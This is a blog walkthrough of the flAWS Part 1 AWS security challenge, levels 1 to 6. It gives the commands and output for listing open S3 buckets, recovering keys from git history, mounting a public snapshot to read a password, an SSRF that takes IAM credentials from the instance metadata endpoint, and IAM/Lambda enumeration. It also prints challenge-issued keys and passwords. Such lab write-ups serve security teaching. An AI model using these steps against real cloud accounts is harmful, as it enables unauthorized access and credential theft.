flAWS - Part 1 is a set of CTF-like challenges that teach you common security issues related with AWS. This post is a walkthrough for these challenges. It’s basically a writeup on how to solve levels 1 to 6, and includes my notes and commands that helped me learn.
Each one of the challenges is followed by a brief explanation of a vulnerable AWS configuration that lead to the flaw and how to mitigate it. Before reading any further, go here and try them for yourself first!
For the writeups and notes to the other flAWS challenges:
Before starting, I wanted to say a huge thank you to the creator of these games, Scott Piper of summitroute for the effort of designing, hosting and making them available for free for everyone! All the levels are highly educative and recommended for anyone interested in AWS security.
Level 1
This level is *buckets* of fun. See if you can find the first sub-domain.
A bit of reconnaissance first:
~ dig +nocmd flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.248.139
~ nslookup 52.218.248.139
Server: 17.7.7.7
Address: 17.7.7.7#53
Non-authoritative answer:
139.248.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com
We now know the region and the full URL. Let’s try to connect again:
~ aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-14 03:00:38 2575 hint1.html
2017-03-03 04:05:17 1707 hint2.html
2017-03-03 04:05:11 1101 hint3.html
2018-07-10 17:47:16 3082 index.html
2018-07-10 17:47:16 15979 logo.png
2017-02-27 01:59:28 46 robots.txt
2017-02-27 01:59:30 1051 secret-dd02c7c.html
Download the secret HTML file and you’ll get to level 2:
~ aws s3 cp s3://flaws.cloud/secret-dd02c7c.html . --no-sign-request
Level 2
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier
First we need to create a new user and generate an Access Key ID and a Secret Access Key. Go here to do that.
There is no access initially with an unauthenticated user:
~ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Configure the new profile:
~ aws configure --profile liv-test
AWS Access Key ID [None]: AKIA3AKED...
AWS Secret Access Key [None]: v44hSt...
Default region name [None]:
Default output format [None]:
~ aws configure list --profile liv-test
Name Value Type Location
---- ----- ---- --------
profile liv-test manual --profile
access_key ****************OBIT shared-credentials-file
secret_key ****************S41s shared-credentials-file
region <not set> None None
Try listing the bucket now:
~ aws s3 --profile liv-test ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:02:15 80751 everyone.png
2017-03-03 03:47:17 1433 hint1.html
2017-02-27 02:04:39 1035 hint2.html
2017-02-27 02:02:14 2786 index.html
2017-02-27 02:02:14 26 robots.txt
2017-02-27 02:02:15 1051 secret-e4443fc.html
And download the secret HTML file:
~ aws s3 --profile liv-test cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html .
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.html
~ cat ./secret-e4443fc.html
Level 3
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.
First let’s look around without authentication:
~ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud --no-sign-request
PRE .git/
2017-02-27 00:14:33 123637 authenticated_users.png
2017-02-27 00:14:34 1552 hint1.html
2017-02-27 00:14:34 1426 hint2.html
2017-02-27 00:14:35 1247 hint3.html
2017-02-27 00:14:33 1035 hint4.html
2017-02-27 02:05:16 1703 index.html
2017-02-27 00:14:33 26 robots.txt
There’s a .git
folder. Download the whole bucket to examine it:
~ aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request
Check the commit history:
~ git log
Commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
An interesting file is mentioned at this revision. Let’s find out what this is about:
~ git show --pretty="" --name-only b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
access_keys.txt
The first commit shows the access keys being committed:
~ git show --pretty="" --name-only f52ec03b227ea6094b04e43f475fb0126edb5a61
We can view the keys file at the previous revision:
~ git show f52ec03b227ea6094b04e43f475fb0126edb5a61:access_keys.txt
access_key AKIAJ3...
secret_access_key OdNa7m+bqU...
Or we could checkout the whole repo at that secific revision:
~ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Create a new profile with the keys retrieved from the repository:
~ aws configure --profile level-3
AWS Access Key ID [None]: AKIAJ3...
AWS Secret Access Key [None]: OdNa7m+bqU...
Default region name [None]:
Default output format [None]:
List all the buckets accessible to the profile:
~ aws s3 --profile level-3 ls
2017-02-12 21:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 17:34:53 config-bucket-975426262029
2017-02-12 20:03:24 flaws-logs
2017-02-05 03:40:07 flaws.cloud
2017-02-24 01:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 18:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 18:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 19:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 19:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 20:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
And there’s the link to level 4 :)
Level 4
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud.
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.
Get the account ID using the keys from the previous level:
~ aws --profile level-3 sts get-caller-identity
{
"Account": "975426262029",
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Arn": "arn:aws:iam::975426262029:user/backup"
}
By default snapshots are private, and you can transfer them between accounts securely by specifying the account ID of the other account, but a number of people just make them public and forget about them.
View all the snapshots of this owner ID:
~ aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029
You must specify a region. You can also configure your region by running "aws configure".
But from level 1 we know the region is us-west-2
.
~ aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
"Snapshots": [
{
"Description": "",
"Tags": [
{
"Value": "flaws backup 2017.02.27",
"Key": "Name"
}
],
"Encrypted": false,
"VolumeId": "vol-04f1c039bc13ea950",
"State": "completed",
"VolumeSize": 8,
"StartTime": "2017-02-28T01:35:12.000Z",
"Progress": "100%",
"OwnerId": "975426262029",
"SnapshotId": "snap-0b49342abd1bdcb89"
}
]
}
Check the permissions of this snapshot:
~ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile level-3 --region us-west-2
{
"SnapshotId": "snap-0b49342abd1bdcb89",
"CreateVolumePermissions": [
{
"Group": "all"
}
]
}
Looks like anyone can create a volume based on this snapshot. Let’s do that.
~ aws ec2 --profile liv-test create-volume --region us-west-2 --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
{
"AvailabilityZone": "us-west-2a",
"Tags": [],
"Encrypted": false,
"VolumeType": "gp2",
"VolumeId": "vol-02443eed3b8bd99d7",
"State": "creating",
"Iops": 100,
"SnapshotId": "snap-0b49342abd1bdcb89",
"CreateTime": "2019-11-02T09:36:49.000Z",
"Size": 8
}
We can list public IP addresses of all EC2 instances for a profile. This could be handy later:
~ aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress" --output=text --profile level-3 --region us-west-2
35.165.182.7
Next mount the snapshot above in our own AWS account:
- Create a new Ubuntu instance
- Download the private SSH key
- In the storage options select the volume just created
- Login to the instance.
SSH into the newly created instance:
~ ssh -i ~/Ubuntu-ec2-key.pem ubuntu@ec2-52-26-196-107.us-west-2.compute.amazonaws.com
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1051-aws x86_64)
Next, list all the block devices:
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 8G 0 disk
└─xvda1 202:1 0 8G 0 part
xvdf 202:80 0 8G 0 disk
└─xvdf1 202:81 0 8G 0 part /
In this case notice the snapshot has already been mounted at /
. If not, we would have to do it manually, for example using:
~ sudo mkdir /mnt/flaws
~ sudo mount /dev/xvdf1 /mnt/flaws
This challenge was to bypass the HTTP Basic Authentication. Let’s check where is the password hash:
$ cat /etc/nginx/.htpasswd
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
After more poking around, there’s an interesting script in the ubuntu user’s home folder:
~ cat /home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
So we have the username and password for the next level: flaws
- nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
.
Level 5
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/ http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.
There is a vey valuable hint: instance metadata can be accessed via the 169.254.169.254 IP address. This can be used for example to retrieve security credentials:
~ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
"Code" : "Success",
"LastUpdated" : "2019-11-02T11:09:21Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG...",
"SecretAccessKey" : "dhBep...",
"Token" : "AgoJb3...",
"Expiration" : "2019-11-02T17:11:48Z"
}
We’ll create a new profile with the AccessKeyId and SecretAccessKey and access the level-6 bucket. Note that we also need to add the Token to the ~/.aws/credentials
file like this:
[level-5]
aws_access_key_id = ASIA6GG...
aws_secret_access_key = dhBep...
aws_session_token = AgoJb3...
Now we can successfully list the content of the bucket:
~ aws --profile level-5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-27 02:11:07 871 index.html
So the hidden folder linking to level 6 is ddcc78ff:
~ aws --profile level-5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
2017-03-03 04:36:23 2463 hint1.html
2017-03-03 04:36:23 2080 hint2.html
2017-03-03 04:36:25 2782 index.html
Level 6
For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
So for this level we’re getting a user access key that has the SecurityAudit
policy attached to it:
Get the username of this profile:
~ aws --profile level-6 iam get-user
{
"User": {
"UserName": "Level6",
"Path": "/",
"CreateDate": "2017-02-26T23:11:16Z",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Arn": "arn:aws:iam::975426262029:user/Level6"
}
}
List all policies attached to the user:
~ aws --profile level-6 iam list-attached-user-policies --user-name Level6
{
"AttachedPolicies": [
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
},
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
}
]
}
Notice that the first policy is a custom one. To find out details about it we’ll use its ARN (Amazon Resource Name). First get its version:
~ aws --profile level-6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
"Policy": {
"PolicyName": "list_apigateways",
"Description": "List apigateways",
"PermissionsBoundaryUsageCount": 0,
"CreateDate": "2017-02-20T01:45:17Z",
"AttachmentCount": 1,
"IsAttachable": true,
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"DefaultVersionId": "v4",
"Path": "/",
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"UpdateDate": "2017-02-20T01:48:17Z"
}
}
Then get details about this specific version:
~ aws --profile level-6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"CreateDate": "2017-02-20T01:48:17Z",
"VersionId": "v4",
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*",
"Effect": "Allow"
}
]
},
"IsDefaultVersion": true
}
}
Following the second hint, we can list all the lambda functions that can be called by this profile:
~ aws --region us-west-2 --profile level-6 lambda list-functions
{
"Functions": [
{
"TracingConfig": {
"Mode": "PassThrough"
},
"Version": "$LATEST",
"CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
"FunctionName": "Level6",
"MemorySize": 128,
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89",
"CodeSize": 282,
"FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Handler": "lambda_function.lambda_handler",
"Role": "arn:aws:iam::975426262029:role/service-role/Level6",
"Timeout": 3,
"LastModified": "2017-02-27T00:24:36.054+0000",
"Runtime": "python2.7",
"Description": "A starter AWS Lambda function."
}
]
}
There is a function named Level6
. Let’s get the policy for this function:
~ aws --region us-west-2 --profile level-6 lambda get-policy --function-name Level6
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}
If beautified a little, it looks like this:
{
"Policy": {
"Version": "2012-10-17",
"Id": "default",
"Statement": [{
"Sid": "904610a93f593b76ad66ed6ed82c0a8b",
"Effect": "Allow",
"Principal": {
"Service": "apigateway.amazonaws.com"
},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Condition": {
"ArnLike": {
"AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
}
}
}]
},
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}
This means we can execute arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
. s33ppypa75 is a rest-api-id, which we can then use with that other attached policy:
~ aws --profile level-6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
"item": [
{
"tracingEnabled": false,
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"deploymentId": "8gppiv",
"lastUpdatedDate": 1488155168,
"createdDate": 1488155168,
"methodSettings": {}
}
]
}
Lambda functions are called using that rest-api-id, stage name, region, and resource:
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
Which then leads to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b
This was a very good lesson about lambda functions!